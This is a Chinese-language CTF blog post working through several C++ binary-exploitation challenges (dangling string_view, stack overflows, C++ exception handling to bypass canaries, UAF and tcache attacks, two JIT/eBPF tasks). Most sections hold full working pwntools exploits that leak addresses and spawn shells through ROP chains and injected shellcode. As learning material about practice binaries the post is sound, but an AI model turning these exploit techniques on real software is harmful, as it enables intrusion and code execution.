本文最后更新于:2023年12月7日 晚上
learn to do C++ Pwn 0x0:写在所有之前 借用前华东百之👴的一句话:
c++pwn,就是艹c艹
0x1:愉悦的折磨 N1 junior2023 顶级签到 当初笔者参加N1 junior,这题是看都看不懂,在学了两天C++基本语法后,笔者重新捡起了这题
题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #include <iostream> #include <string> #include <vector> #include <exception> #include <string_view> #include <unordered_map> #include <functional> using namespace std;string getInput () { string res; getline (cin, res); if (res.size () > 64 ) throw std::runtime_error ("Invalid input" ); while (!res.empty () && res.back () == '\n' ) res.pop_back (); return res; }bool allow_admin = false ;auto splitToken (string_view str, string_view delim) { if (!allow_admin && str.find ("admin" ) != str.npos) throw std::invalid_argument ("Access denied" ); vector<string_view> res; size_t prev = 0 , pos = 0 ; do { pos = str.find (delim, prev); if (pos == std::string::npos) { pos = str.length (); } res.push_back (str.substr (prev, pos - prev)); prev = pos + delim.length (); } while (pos < str.length () && prev < str.length ()); return res; }auto parseUser () { auto tok_ring = splitToken (getInput (), ":" ); if (tok_ring.size () != 2 ) throw std::invalid_argument ("Bad login token" ); if (tok_ring[0 ].size () < 4 || tok_ring[0 ].size () > 16 ) throw std::invalid_argument ("Bad login name" ); if (tok_ring[1 ].size () > 32 ) throw std::invalid_argument ("Bad login password" ); return make_pair (tok_ring[0 ], tok_ring[1 ]); }const unordered_map<string_view, function<void (string_view)>> handle_admin = { {"admin" , [](auto ) { system ("/readflag" ); }}, {"?" , [](auto ) { cout << "Enjoy :)" << endl; cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl; }}};constexpr auto handle_guest = [](auto ) { cout << "Hello guest!" << endl; };int main () { auto [username, password] = parseUser (); cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl; auto choice = getInput (); if (choice == "quit" ) { cout << "bye" << endl; return 0 ; } if (auto it = handle_admin.find (username); it != handle_admin.end ()) { it->second (password); } else { handle_guest (password); } }
怎么说呢,👴只能看出个大概运行逻辑,但👴是真的找不到洞
👴只能求助👴高中的OI👴(国一👴!!)
问题出现在 main
函数中。一旦 parseUser
返回,splitToken
函数中创建的字符串就超出了它们的作用域,因为这些字符串是局部变量。因此,username
和 password
变量成为了悬垂指针(Dangling Pointers),它们引用的内存已经无效。
所以第二次输入到choice变量的时候,就可以复用这个悬垂指针,看似指向username 和 password,实则里面的内容已经是choice,所以输入choice的时候输入”admin”就行了。,
👴以为👴又行了,结果试了一下发现八行。👴很恼火,就去摸鱼了,摸着摸着就摸到了纯真✌的博客(@张清越 ),了解了SSO机制对于不同长度的字符串的处理。
同时string_view会记录字符串的size,因为admin的size是5,所以第一次login的时候username的size也应该是5.
👴又自己写了一个poc,应该更好理解一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 std::string_view CreateAndReturnPointer() { std::string res; getline(std::cin,res); std::string_view strView(res); return strView; }int main() { std::string_view view = CreateAndReturnPointer(); std::string res; getline(std::cin,res); std::cout << "now the content of string_view is :" << view.substr(0 ,8 ) << std::endl; return 0 ; }from pwn import * p = process('./test' ) p.sendline(b'a' *0x80 ) sleep(0.1 ) p.sendline(b'b' *0x80 ) p.interactive()
按理来说,view指向的字符串应该是b’a’*0x80
但是刚出CreateAndReturnPointer函数,储存字符串的chunk就被free了
所以后面的getline获取输入的时候,一但输入size和第一次输入size相等,这个chunk又会被启用,但是,其中的内容已经变了,而view并不知道家被偷了。
所以最后的结果便是
噫,👴终于懂了。
西湖论剑2021 string_go 👴在翻库存的时候发现了一道21年的西葫芦🗡的C++
就拿过来练练手
程序本身实现了一个只能进行加减运算的clac,当计算结果为3时可以进入lative_func
后面经过动调发现,字符串-8的地方存放的是输出时的size,同时idx可以为负数,那就能把size给改了,泄露出栈上的数据后用memcpy完成栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *import sys context.log_level='debug' context.arch='amd64' libc = ELF('./libc-2.27.so' ) elf = ELF('./string_go' ) flag = 0 if flag: p = remote('182.92.164.148' , 48649 )else : p = process("./string_go" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) sla(b'>>> ' ,b'3' ) sla(b'>>> ' ,b'0' ) gdb.attach(p,"b *$rebase(0x23A9)\nc\n" ) sla(b'>>> ' ,b'aaaaaaaa' ) sla(b'>>>' ,b'\x01' ) ru(b'a' *8 ) rc(0x18 ) data1 = rc(0x18 ) canary = u64(rc(8 ).ljust(8 ,b'\x00' )) leak("canary" ,canary) rc(8 ) elf_base = u64(rc(8 )) - 0x1760 leak("elf_base" ,elf_base) pop_rdi = 0x0000000000003cf3 + elf_base main = elf_base + 0x24bd data2 = rc(0x18 ) p.recv() payload = b'1' *0x18 + p64(canary) + p64(0 )*3 + \ p64(pop_rdi) + p64(elf_base + elf.got['puts' ]) + p64(elf.plt['puts' ]+elf_base) + p64(main) sl(payload) libc.address = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] leak("libc" ,libc.address) sla(b'>>> ' ,b'3' ) sla(b'>>> ' ,b'-7' ) sla(b'>>> ' ,b'aaaaaaaa' ) sla(b'>>> ' ,b'\x01' ) payload = b'1' *0x18 + p64(canary) + p64(0 )*3 + \ p64(elf_base + 0x00000000000014ce )+ p64(pop_rdi)+ p64(next (libc.search(b'/bin/sh' ))) + p64(libc.sym['system' ]) sl(payload) p.interactive()
ByteCTF2020 TikTok 在A3👴博客中找到的题,C++逆向就是出生的太阳,逼样的晚意。
题目一打开,楽,真会整活
功能多的一批,于是👴就勤勤肯肯把所有功能都写了,结果👴在delete,输入密码的时候,发现密码输入错误直接把栈里面的数据带出来了,👴就知道这把有了。因为delete这个功能有几个花指令,不能傻瓜create function,看不了伪代码。于是👴进gdb看到了memcpy,甚至输入错位还有输出,人还怪好的。那就是泄露数据后栈溢出,和前一题一样的套路。
(所以这么多fuction你是一点没用啊)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pwn import *import sys context.log_level='debug' context.arch='amd64' libc = ELF('./libc-2.31.so' ) elf = ELF('./tiktok' ) flag = 0 if flag: p = remote('182.92.164.148' , 48649 )else : p = process("./tiktok" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) menu = b'$ ' def login (password ): sla(b':' ,password)def add (sex,type ,age,name ): payload = b'Add ' payload += sex + b' ' payload += type + b' ' payload += str (age).encode() + b' ' payload += name sla(menu,payload)def show (sex ): payload = b'Show' + b' ' payload += sex sla(menu,payload)def info (id ): payload = b'Info ' + id sla(menu,payload)def delete (id ): payload = b'Delete ' + id sla(menu, payload)def convert (id ): payload = b'Convert ' + id sla(menu, payload)def edit (id ,name ): payload = b'Edit ' payload += id + b' ' payload += name sla(menu,payload)def follow (action,id1,id2 ): payload = b'Follow ' payload += action + b' ' payload += id1 + b' ' payload += id2 + b' ' sla(menu, payload)def clone (id ,name ): paylaod = b'Clone ' paylaod += id + b' ' paylaod += name sla(menu,paylaod) login(b'TikTokAdmin' ) delete(b'W6' ) login(b'a' *0x30 + b'b' *9 ) ru(b'b' *9 ) canary = u64(rc(7 ).rjust(8 ,b'\x00' )) leak("canary" ,canary) login(b'a' *0x38 + p64(canary)) delete(b'W6' ) login(b'a' *0x38 + b'b' *8 ) ru(b'b' *8 ) stack_value1 = u64(rc(6 ).ljust(8 ,b'\x00' )) leak("stack_value1" ,stack_value1) login(b'a' *0x38 + p64(canary) + p64(stack_value1)) delete(b'W6' ) login(b'a' *0x40 + b'b' *8 ) ru(b'b' *8 ) stack_value2 = u64(rc(6 ).ljust(8 ,b'\x00' )) leak("stack_value2" ,stack_value2) login(b'a' *0x38 + p64(canary) + p64(stack_value1) + p64(stack_value2)) elf_base = stack_value2 - 0x39a0 pop_rdi = elf_base + 0x000000000000ea73 main = elf_base + 0x49f3 delete(b'W6' ) login(b'a' *0x48 + b'b' *8 ) ru(b'b' *8 ) stack_value3 = u64(rc(6 ).ljust(8 ,b'\x00' )) leak("stack_value2" ,stack_value3) payload = p64(canary) + p64(stack_value1) + p64(stack_value2) + p64(stack_value3) + \ p64(pop_rdi) + p64(elf_base + elf.got['puts' ]) + p64(elf_base + elf.plt['puts' ]) + p64(main) login(b'a' *0x38 + payload) libc.address = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] leak("libc" ,libc.address) login(b'TikTokAdmin' ) delete(b'W6' ) login(b'aaaa' ) payload = p64(canary) + p64(stack_value1) + p64(stack_value2) + p64(stack_value3) + \ p64(elf_base + 0x00000000000096c3 ) + p64(pop_rdi) + p64(next (libc.search(b'/bin/sh' ))) + p64(libc.sym['system' ]) login(b'a' *0x38 + payload) p.interactive()
DCTF2017 flex🤪 作为一个没打过OI,更不会C++的蒻笱,异常处理这玩意直接涉及到笔者盲区了。
首先这题不能说是一个纯种的C++ pwn题,只能说是一个C和C++的杂种杂修~~
IDA打开,选项4很诱人,但仔细一看基本上利用不了,难受,就像打了脚没🐍出来一样难受😰
然后选项3是个FW,👴只能看function1&2了
很明显的负数溢出,然后可以栈溢出嘿嘿嘿,但是这玩意有个canary,bad,这比🐍不出来还要难受🥵
但是很明显这个func里存在奇怪的东西,throw,👴感觉这玩意有问题,但是👴8知道哪里有问题。
摸不出来的👴只能去网上冲浪,卑微的窝在阴暗的下水道里读着大跌们的wp
然后👴明白啦
异常处理机制 try、throw、catch这三个卧龙凤雏总是一起出现
Throw抛出异常,try 包含异常模块,catch 捕捉抛出的异常
当程序throw一个异常的时候,基本流程是这样的喵
1、调用 __cxa_allocate_exception 函数,分配一个异常对象。
2、调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
3、__cxa_throw() 调用 _Unwind_RaiseException() 从而开始 unwind(unwind“回退”是伴随异常处理机制引入 C++ 中的一个新概念,主要用来确保在异常被抛出、捕获并处理后,所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收。)。
4、_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
5、如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
6、_Unwind_RaiseException() 将控制权转到相应的catch代码。
然后👴就发现异常处理后👴就来到了一个奇怪的地方
仔细一看,欸,原来function1里的try和catch模块反编译时并没有出来。
那这么一说,👴从孙子函数跳到了儿子函数并且没有经过canary的check,win!!
那么问题来了,该怎么食用这个漏洞捏。
6年前爹爹们的思路是:如果异常被上一个函数的catch捕获,所以rbp变成了上一个函数的rbp, 而通过构造一个payload把上一个函数的rbp修改成stack_pivot地址, 之后上一个函数返回的时候执行leave ret,这样一来我们就能成功绕过canary的检查而且进一步我们也能控制eip,,去执行了stack_pivot中的rop了。
妙,实在是妙啊。
PS:返回地址一定要填try和catch之间的地址(只有这样才能被捕获异常)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *import sys context.log_level='debug' context.arch='amd64' libc = ELF('./libc-2.31.so' ) elf = ELF('./flex' ) flag = 0 if flag: p = remote('182.92.164.148' , 48649 )else : p = process("./flex" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) pop_rdi = 0x00000000004044d3 ret = 0x0000000000400ba9 sla(b':\n' ,b'1' ) sla(b')\n' ,b'no' ) sla(b')\n' ,b'yes' ) sla(b':\n' ,str (-2 ).encode()) gdb.attach(p,"b *0x40134f\nc\n" ) paylaod = b'a' *0x120 + p64(0x6061c0 ) + p64(0x401512 ) sla(b':\n' ,paylaod) payload = flat([ 0x4044ca , 0 ,1 ,elf.got['read' ],0x100 ,0x606260 ,0 , 0x4044b0 , 0 ,0 ,0 ,0 ,0 ,0 ,0 ]) sla(b':\n' ,b'/bin/sh\x00' +p64(ret)+p64(pop_rdi)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+payload) libc.address = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] leak("libc" ,libc.address) payload = p64(0xe3afe +libc.address) sl(payload) p.interactive()
爽啊,果然还是🐍出来才是最爽的啊😋
hgame2022 Vector😎 跟vector容器有关的一道菜单堆
多了一个move function,那问题肯定在里面。
当move输入的nex_idx过大时,resize会申请一个更大的chunk,并把原来chunk中的数据复制过去。可以看到,这个操作是在note[idx]
= nullptr之前,因此note[idx] = nullptr实际上是在给已经废弃的note中的idx置0。这样便能造成UAF。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *import sys context.log_level='debug' context.arch='amd64' libc = ELF('./libc-2.31.so' ) elf = ELF('./vector' ) flag = 0 if flag: p = remote('182.92.164.148' , 48649 )else : p = process("./vector" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) menu = b'>> ' def add (index,size,content ): sla(menu,b'1' ) sla(menu,str (index).encode()) sla(menu,str (size).encode()) sa(menu,content)def show (index ): sla(menu,b'3' ) sla(menu,str (index).encode())def delete (index ): sla(menu,b'4' ) sla(menu,str (index).encode())def move (new_index ): sla(menu,b'5' ) sla(menu,b'1' ) sla(menu,str (new_index).encode())for i in range (8 ): add(i,0x90 ,b'aaaa' )for i in range (8 ): delete(7 -i)for i in range (9 ): add(i,0x50 ,b'aaaaaaaa' ) show(0 ) ru(b'a' *8 ) libc.address = u64(rc(6 ).ljust(8 ,b'\x00' )) - 0x1ecc70 leak("libc" ,libc.address) move(10 ) move(9 ) move(32 )for i in range (3 ,10 ): delete(i) delete(2 ) delete(10 ) delete(32 )for i in range (7 ): add(i,0x50 ,b'aaaa' ) add(7 ,0x50 ,p64(libc.sym['__free_hook' ])) add(8 ,0x50 ,b'/bin/sh\x00' ) add(9 ,0x50 ,b'/bin/sh\x00' ) add(10 ,0x50 ,p64(libc.sym['system' ])) delete(8 ) gdb.attach(p) p.interactive()
*CTF 2021 babygame🤮 逆个🐕8,🧠要炸了
👴一开始觉得👴把9个关卡通关了👴就win了,8就是玩游戏🐎,👴在行,so easy
然后就没有然后了,👴对着IDA那坨屎山代码看了两个小时看不出来,👴摆了,润
后来👴想着fuzz试试,结果这个🐕8glibc是glibc-2.27 ubuntu1.2的版本,tcache里还莫得check,tcache 的double free根本8会报错,妈妈生的。
👴🏳️,钻进👴在下水道阴暗的小窝里看A3👴的wp,👴好奇A3👴是怎么调出来完成一个关卡后,选定一个关卡,然后退出会造成UAF的。
然后就很简单了,string可以申请任意大小的chunk,配合tcache double free 打free_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *import sys context.log_level='debug' context.arch='amd64' libc = ELF('./libc.so.6' ) flag = 0 if flag: p = remote('172.10.0.8' , 9999 )else : p = process("babygame" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr))def cmd (x ): sla(b':\n' ,x)def decode (): cmd(b'1' ) cmd(b'a' ) cmd(b'a' ) cmd(b'd' ) cmd(b's' ) cmd(b's' ) cmd(b'w' ) cmd(b'd' ) cmd(b'd' ) cmd(b'a' ) cmd(b'w' ) cmd(b'w' ) cmd(b'q' ) cmd(b'y' ) cmd(b'korey0sh1' ) cmd(b'y' ) cmd(b'l' ) libc.address = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x3ebca0 leak("libc.address" ,libc.address) decode() cmd(b'1' ) cmd(b'q' ) cmd(b'n' ) cmd(b'y' ) cmd(b'q' ) cmd(b'y' ) cmd(b'/bin/sh\x00' *10 ) cmd(b'y' ) cmd(b'q' ) cmd(b'y' ) cmd(p64(libc.sym['__free_hook' ])+b'\x00' *0x48 ) cmd(b'y' ) cmd(b'q' ) cmd(b'y' ) cmd(b'/bin/sh\x00' *10 ) cmd(b'y' ) cmd(b'q' ) cmd(b'y' ) cmd(p64(libc.sym['system' ])+b'\x00' *0x48 ) cmd(b'n' ) p.interactive()
CATCTF 2022 Chao🛏️💤 winmt👴出的C++ Pwn
逆吐啦🤮🤮🤮🤮
Create里有0和1两种type,但观察update和show功能后,就能发现这两个功能只适配type0。然后看看两种type不同的虚表函数,就发现update type1能直接伪造size和show的基址,便可以任意地址读。
存在栈溢出漏洞,然后用0xfffffff7+0xa-1这种补码漏洞来触发C++异常处理绕过canary check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *import sys context.log_level='debug' context.arch='i386' libc = ELF('./libc.so.6' ) flag = 0 if flag: p = remote('172.10.0.8' , 9999 )else : p = process("chao" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) menu = b'>> ' def add (type ,content ): sla(menu,b'1' ) sla(b'?\n' ,str (type ).encode()) sla(menu,content)def edit (index,content ): sla(menu,b'2' ) sla(b'?\n' ,str (index).encode()) sla(menu,content)def show (index ): sla(menu,b'3' ) sla(b'?\n' ,str (index).encode()) add(1 ,p32(0xdeadbeaf ))for i in range (8 ): add(0 ,0xf0 *b'a' )for i in range (8 ): edit(i+1 ,0x10 *b'a' ) edit(0 ,b'a' *0x20 ) add(0 ,b'a' *4 ) edit(0 ,p32(0x11111 )) show(0 ) ru(b': ' ) heap_base = u32(rc(4 )) - 0x5710 libc.address = u32(ru(b'\xf7' )[-4 :]) - 0x1e8780 leak("libc" ,libc.address) edit(0 ,p32(0xfffffff6 )+p32(heap_base+0x4ba9 )) show(0 ) ru(b': ' ) elf_base = u32(rc(3 ).rjust(4 ,b'\x0c' )) - 0x4e0c leak("elf" ,elf_base) lea_ret = 0x00110226 +libc.address add_esp_1c = 0x0001b034 + libc.address ret = libc.address + 0x0001922e add_esp_4 = 0x0002fe0e + libc.address add_esp_8 = 0x0002fbe9 + libc.address add_esp_c = 0x0001b90a + libc.address int_0x80 = 0x000312f5 + libc.address pop_eax = 0x000282eb + libc.address pop_ebx = 0x0001de56 + libc.address pop_ecx_edx = 0x00030ea3 + libc.address payload = flat([ heap_base+0x54e8 ,add_esp_1c, 0x22222222 ,0x33333333 ,0x44444444 ,0x55555555 ,0x66666666 , lea_ret,0x88888888 , libc.sym['gets' ],add_esp_4,libc.sym['__free_hook' ], libc.sym['gets' ],add_esp_4,heap_base+0x5524 , ]) orw = flat([ libc.sym['open' ],add_esp_8,heap_base+0x4c2f ,0 , libc.sym['read' ],add_esp_1c,3 ,heap_base+0x5000 ,0x30 , ret,ret,ret,ret, libc.sym['write' ],add_esp_1c,1 ,heap_base+0x5000 ,0x30 , ]) edit(2 ,p32(heap_base+0x1111 )+p32(0x11111 )) edit(2 ,p32(heap_base+0x1111 )+p32(0x111 )) edit(2 ,p32(heap_base+0x1111 )+p32(0x1 )) edit(1 ,cyclic(0x4 ) + p32(heap_base+0x54a8 )*3 + p32(heap_base + 0x54e8 )*4 + p32(heap_base + 0x54e8 ) +p32(0x2044 +elf_base)) edit(3 ,payload) edit(4 ,b'......................................../flag' ) leak("heap" ,heap_base) gdb.attach(p,"b *$rebase(0x204c)\nc\n" ) edit(0 ,p32(0xfffffff6 )+p32(heap_base+0x4bd9 )) show(0 ) sl(orw) p.interactive()
额exp写的很乱,凑合着看吧
西葫芦🗡 2023 JIT 😭 今年年初的西葫芦🗡是👴第一次打大比赛,当初👴还不懂事,出了两道简单题后还不知好歹,看了一眼jit,当时就被吓得亚麻呆住了。
刨坟挖出来康康题,结果逆了一天逆了个大概,第二天一直在想怎么能把shellcode
写到exec_memory
里,最后还是看了rode👴的wp,用了jmp short
的短指令完成系统调用。
逆亿下🤮🤮 整体逻辑还行
mmap了一个具有rwx权限的memory
,经过Compiler::handleFn
处理后,输入的内容会变成memory
出的汇编,最后执行。
一个个来看
这个算是个对exec_memory
的初始化
1 Compiler:: handleFn`函数里面,会读取输入的第一个字节,要求为\xff,并读取第1 、2 个字节为`args`和`locals
进入Compiler::creatFunc
,args
要 小于8,locals
要小于0x20,然后在exec_memory
里用sub rsp, 8*locals
开一个栈空间
然后进入核心函数Compiler::handleFnBody()
里面的Compiler::var2idx
是将传入的参数进行处理,动调一下发现是[rbp - ret_value*8]
存在整数溢出漏洞,可以看到上层函数接受返回值的参数是单字节的,所以当varib为0xa0时可以使返回值为0,可以直接对rbp进行操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 char __cdecl Compiler::var2idx (u8 varib) { u8 variba; if ( (varib & 0x7F ) == 0 ) fatal (); if ( (varib & 0x80 u) == 0 ) { if ( varib > Compiler::ctx_args ) fatal (); if ( (char )(8 * varib) <= 0 ) fatal (); return 8 * varib; } else 1000 1010 { variba = varib ^ 0x80 ; if ( (unsigned __int8)(varib ^ 0x80 ) > Compiler::ctx_locals ) fatal (); if ( (char )(-8 * variba) > 0 ) fatal (); return -8 * variba; } }
后面就是0-5的opcode
,6的利用条件太tm烦了👴就没看
基本上就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 case 0u : v0 = IRstream::getop (); return Compiler::var2idx (v0); case 1u : v2 = IRstream::getop (); var = Compiler::var2idx (v2); imm = IRstream::getimm (); AsmHelper::imm2var (var, imm); break ; case 2u : v3 = IRstream::getop (); var1 = Compiler::var2idx (v3); v4 = IRstream::getop (); var2 = Compiler::var2idx (v4); AsmHelper::var2reg (var2); AsmHelper::pvar2reg (var1); AsmHelper::regassign (); break ; case 3u : v5 = IRstream::getop (); var1_0 = Compiler::var2idx (v5); v6 = IRstream::getop (); var2_0 = Compiler::var2idx (v6); AsmHelper::var2reg (var2_0); AsmHelper::pvar2reg (var1_0); AsmHelper::regarith (0x21 u); break ; case 4u : v7 = IRstream::getop (); var1_1 = Compiler::var2idx (v7); v8 = IRstream::getop (); var2_1 = Compiler::var2idx (v8); AsmHelper::var2reg (var2_1); AsmHelper::pvar2reg (var1_1); AsmHelper::regarith (9u ); break ; case 5u : v9 = IRstream::getop (); var1_2 = Compiler::var2idx (v9); v10 = IRstream::getop (); var2_2 = Compiler::var2idx (v10); AsmHelper::var2reg (var2_2); AsmHelper::pvar2reg (var1_2); AsmHelper::regarith (0x31 u); break ;
最后AsmHelper::func_ret
恢复栈帧,这样just in time
基本上就好了
1 JITHelper:: finailize()`将`exec_memory`的`rwx`权限改为`r_x
后面的一连串check是使第一次转汇编的输入的id
和args
必须为0
然后就是执行了exec_memory
了
利用🏳️🏳️ 那么问题来了,执行的时候没有write
权限,👴该怎么往上写shellcode
呢
👴一开始想的是在栈上布置rop
链,但是要先泄露libc
,也pass
了
这是怎么绘事捏
后来看了rode👴的wp,又学到了新的东西
因为case 1中mov到栈上的是8字节,于是可以是“xor rax, rax; jmp short"
这种短跳转代码,那👴懂啦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *import sys context.log_level='debug' context.arch='amd64' flag = 0 if flag: p = remote('172.10.0.8' , 9999 )else : p = process("./jit" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) gdb.attach(p,"b *$rebase(0x1ddf)\nc\n" ) payload = b'\xff\x00\x00\x20' payload += b'\x01\x8b' + b'/bin/sh\x00' payload += b'\x01\x8a' + p64(0xffffffffff00 ) payload += b'\x01\x89' + p64(0x47 ) payload += b'\x01\x88' + b"\x48\x31\xf6\xeb\x0c\x00\x00\x00" payload += b'\x01\x87' + b"\x48\x31\xd2\xeb\x0c\x00\x00\x00" payload += b'\x01\x86' + b"\x48\x31\xc0\xeb\x0c\x00\x00\x00" payload += b'\x01\x85' + b"\x04\x3b\xeb\x0d\x00\x00\x00\x00" payload += b'\x01\x84' + b"\x0f\x05\x00\x00\x00\x00\x00\x00" payload += b'\x03\xa0\x8a' payload += b'\x04\xa0\x89' payload += b'\x00\x8b' sd(payload) p.interactive()
WMCTF 2023 JIT🥵 just in time ,又是你!!
👴只是想把C++pwn题学明白,👴有什么错,要拿2000行的屎山代码来恶心👴
再逆亿下 先输入program
和memory
,program
要是16进制字符串,memory
要是len(program) //2
这边大致是创建虚拟机并进行一系列初始化的过程,具体操作👴也没逆明白
然后就是核心code
func_8510
里,通过func_84e0-->func_8370-->func_5a50
这个2000行的屎山把输入的program
翻译成汇编存储在申请出来的chunk
里
mmap
一片内存,把chunk
里的汇编copy
过去,然后mprotect
改成r_x
权限
call rax
就是执行翻译的汇编
最后有个result
输出的是执行完后的寄存器rax
值
差不多了,快吐了
😭😭😭
利用 问题来了,那个2000行的代码等👴看完估计是天都亮了,👴果断去看wp,发现很多👴都说这是ebpf
👴:???
👴:妈妈生的,这是个什么玩意
然后👴就去找这玩意的指令集
一试,对上了,那就好办了
先连上找个libc值给rax,打印出来康康libc版本
然后就是ogg覆盖返回地址,因为👴莫得找到syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *import sys context.log_level='debug' context.arch='amd64' libc = ELF('./libc-2.31.so' ) flag = 0 if flag: p = remote('172.10.0.8' , 9999 )else : p = process("jit" ) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) program = b'61a0380100000000' program += b'1400000083400200' program += b'04000000043b0e00' program += b'7b8a280000000000' program += b'630a280000000000' program += b'af22000000000000' program += b'af33000000000000' memory = str (len (program)//2 ).encode() gdb.attach(p,"b *$rebase(0x2947)\nc\n" ) sla(b': ' ,program) leak("libc_start_main" ,libc.sym['__libc_start_main' ]+243 ) sla(b': ' ,memory) p.interactive()
不知道是不是👴的错觉,JIT
总给👴一种用shellcode
完成利用方式的vm
题
真的逆吐惹🤮🤮🤮
而且👴有一个问题,怎么那么多👴看到题一眼就知道是ebpf
???
后续:
👴<——🤡🤡🤡🤡🤡
0xff:写在最后的最后 逆不动了,真tm逆不动了,汗流浃背了已经🥵🥵🥵
Refer N1CTF Junior 2023 pwn 顶级签到 赛题复现 | 张清越 (zqy.ink)
